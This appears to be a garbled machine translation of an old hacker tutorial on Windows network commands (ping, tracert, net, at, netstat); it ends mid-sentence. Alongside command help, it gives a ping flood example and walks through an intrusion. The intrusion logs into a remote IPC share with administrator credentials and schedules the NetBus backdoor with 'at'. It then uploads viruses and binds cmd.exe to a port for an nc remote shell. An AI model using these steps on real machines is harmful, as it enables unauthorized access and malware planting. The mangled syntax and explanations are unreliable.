The basic network command network security has a relatively related command: ping winipcfg tracert nett netstat 1. ping: This is one of the most useful commands in the TCP / IP protocol to send a series of packets to another system, the system It has sent a response again, which is useful for finding the remote host, and the result it returns indicates whether the host will reach the host, and the host sends a return packet how long it takes.
Usage: ping [-t] [- a] [- n count] [- l size] [- f] [- i ttl] [- v TOS] [- r count] [- s count] [[-j host] -List] [- K Host-list]] [- w Timeout] destination-list options: -t ping the specifed host untricutes (unless people are aborting) -A resolve address to hostnames. (Put IP Transfer to the host name) - N count number of echo requests to send. (Number of response request) -l size send buffer size. (Size of packet) -f set don't fragment flag in packet. (Without fragment in the packet) ) -I ttl time to live. (Time) -V Type of Service. (Service Type) -r Count Record Route for Count Hops. -S Count TimeStamp for Count Hops. -J Host-List Loose Source Route Along Host- List. -k Host-list strict source route along host-list. (more stringent ..., how to translate ... Well, put it) - W Timeout Timeout in MilliseConds to wait for Each Reply. For example, everyone may know one of the commands # ping -f -s 65000 ***. ***. ***. *** or the command used in the front stage, the order used when the mash madman (of course, this will only cause My own network is blocked). In fact, this order is mainly used to see the speed of the other party, if it is the result that ping gets the request time OUT. It's afraid that you don't have to go to this host at all, it is not within your range. 2. Winipcfg: This is used to see the gadgets of your IP address, Win98 comes with it, NT can see IP in the network monitor, there is a small utility called ... It seems to be called ipconfig. Not how to use it, I have forgotten ... This kind of Dongdong is actually quite quite, but since "self-contained", why do you have external claim, let alone the online download hacked, there is no Troy to know, If you are not running on your own "love", don't you do it? - Ha, I am sorry, I am running, but I will run two sentences: I can upload some common, classic tools to the Internet, as a backup, when is online, a company wants to work, direct Download is a completely lackless kit. This stuff is quite simple, Type a command directly under DOS, there is no parameter.
3. Tracert: It is a utility that verifies to the remote host path: tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name parameter: -d do not resolve addresss to hostnames. (Do not turn IP to host name) -h maximum_hops maximum number of hops to search for target. (Maximum tracking quantity) -j host-list. -W timeout Wait Timeout Milliseconds for Each Reply. Time OUT Time) The simplest usage is that tracert hostname where HostName is a computer name or the IP address of a computer you want to track its path. Tracert will return to the various IP addresses of the final destination, do you know how to use it? I explain it, let's talk about the route to 210.142.192.130, the maximum 30: First line: * & ^% & * I am from here (huh, I really don't want to say ^ & ^) Chapter 4: Is it? Want to go abroad? The ninth line: Yeah! This is a Japanese devil's site ... 4. Net: This is a great thing. If you won't use it, you will have a grammar of this command is: available commands include: Net Accounts Net Help Net Share Net Computer NET HELPMSG NET sTART NET CONFIG NET LOCALGROUP NET STATISTICS NET CONFIG SERVER NET NAME NET STOP NET CONFIG WORKSTATION NET PAUSE NET TIME NET CONTINUE NET PRINT NET USE NET FILE NET SEND NET uSER NET GROUP NET SESSION NET VIEW NET HELP SERVICES lists the user can start Network service. NET HELP SYNTAX explains how to read NET HELP grammar lines. NET HELP Command More is used to display help on one screen. I can explain it, I will explain my fingers, just talk about the commonly used commands, the syntax of this command is: net view [computername / domain [: domainname]] NET View / Network: NW [computername] NET View is used to display a list of shared resources on a computer. When you use this command without an option, it displays a list of current domains or networks on the network. Computername refers to a computer that the user wants to browse its shared resources. / Domain: domainname Specifies the domain where the user wants to browse the valid computer. If the domain name is omitted, all domains on the local area network will be displayed. / Network: NW Displays all available servers on the NetWare network. If a computer name is specified, the available resources on the computer in the NetWare network are displayed.
As for example, you know a remote computer ***. ***. **. *** has a resource sharing, then run net view ***. ***. **. *** The syntax of the B.NET USE this command is: Net Use [DeviceName *] [ComputerNamesharName "[volume] [password *]] [/ user: [domainname] username] [[/ delete] [/ persistent: {yes no}] ] NET USE [DeviceName *] [Password *]] [/ home] NET USE [/ persistent: {yes no}] NET USE is used to connect the computer to a shared resource, or turn off the connection of the computer and shared resources. When you use this command without an option, it lists the connection to your computer. DeviceName Specifies a name to connect with the resource, or specify the device to be cut. There are two types of device names: Disk drives (D: to Z :) and printers (LPT1: to LPT3 :). Enter an asterisk instead of a specified device name to allocate the next available device name. ComputerName refers to the name of the computer that controls the shared resource. If the computer name contains an empty character, you should enclose the double reverse slope () and the computer name with quotation marks (""). The computer name can have 1 to 15 characters. ShareName refers to the network name of the shared resource. Volume Specifies the NetWare volume on a server. Users must install NetWare's Customer Service (Windows NT Workstation) or NetWare's gateway service (Windows NT server) and connect to the NetWare server. Password refers to the password required to access the shared resource. * Perform a password prompt. When you enter a password at the password prompt, the password is not displayed. / User specifies a different username when the connection is connected. DomainName Specifies another domain. If the default domain, the current login domain will be used. UserName Specifies the username of the login. / HOME connects users to their host directory. / DELETE Cancels a network connection and deletes the connection from the permanent connection list. / Persistent controls the use of a permanent network connection. Its default is the most recently used settings. YES Saves them when the connection is generated and restores them when logging in. NO does not save the connection or subsequent connection being generated; the existing connection will be recovered at the next login. You can use the / delete option switch to delete permanent connections. PS: When I saw a dear brother in the post two days, I have a lot of things to work with this order, and I also explain that one is about: In the browser, enter file: ///***. **. **. *** c ¥ The content of the C-disk shared online will appear, as if you see with the FTP site on your browser.
You may wish to try it, you can also try a contrast ... 5.at: Place certain commands and programs scheduled at specific date and time. Start the Schedule service before running the AT command. Hey, now you have to sell, just learn the net command, but this start command I have not detail, I have a help file, explore the usage of various commands. C: "Net Start Schedule Schedule is starting service ..... The ScheDulw service is successful. AT [computename] [[ID] [/ delete] / delete [/ yes]] at [computename] Time [/ interactive] [/ every: date [, ...] / next: Date [, ...]] "Command" computername Specifies the remote computer. If this parameter command is omitted, it will be scheduled to run on this unit. ID specifies the identification number to the scheduled progress command. / Delete deletes a command that has been scheduled. If the logo is omitted, all the scheduled progress on the computer will be deleted. / YES is used to delete all jobs and do not want to display confirmation information when running deletion. Time specifies the time to run. / Interactive allows homework to interact with the user through desktop at runtime. / Every: date [, ...] specifies to run commands on a week or monthly day (or a few days). If the date is omitted, the default is to run on this day. / Next: Date [, ...] specifies the command in the next specified date (eg, next Wednesday). If the date is omitted, the default is to run on this day. "Command" is ready to run Windows NT commands or batch files.
I know how to use AT, let's take a look at how to run NTSRV.EXE: 1 using administrators to log in to the destination server, the method is: NET USE XXXXIPC ¥ "adminPwd" / user: "adminuser" (here the specific method See Killusa's article "How to get in nt") 2 Use ntsrv.exe to boot remote: Netsvc xxxx schedule / start 3 uses at.exe to run at the remote server setup program, of course, the most ideal, so you can use Letmein.exe gets the time of the server, then: at xxxx 00:00 ntsrv.exe / port: 64321 where 00:00 is to change the specific time a point capacity of letmein.exe, wait for a while, then in the local Start NetBus.exe, type the server to get the IP address or HostName, connect! For example, in the first way, you want to run Dongdong such as viruses in the destination server, you can use NetBus to get the function, upload a variety of "big pills" to the destination server, and use Netbus "Start Program", Type the full path, OK! The second method is to use NetBus's "App Redirect" function to start the remote Telnet service, as follows: "App Redirect" in NetBus, type "C:" Winntsystem32cmd.exe ", Port is: 4321, the service is started, Then run locally: NC XXXX 4321, DOS startup screen indicates connection success: Microsoft (R) Windows NT (TM) (C) Copyright 1985-1996 Microsoft Corp. C: "6.NetStat This is an observation network connection The utility of the state. It can verify the current connection status of IP, and then verify the service on the system after disconnecting your basic level communication. This service includes checking traffic and / or verifying that you are creating a session with a remote site, it can easily do this. Online, a lot of tools such as X-NetStat, is the Win interface, more intuitive, and there are not many features, this command is as follows:
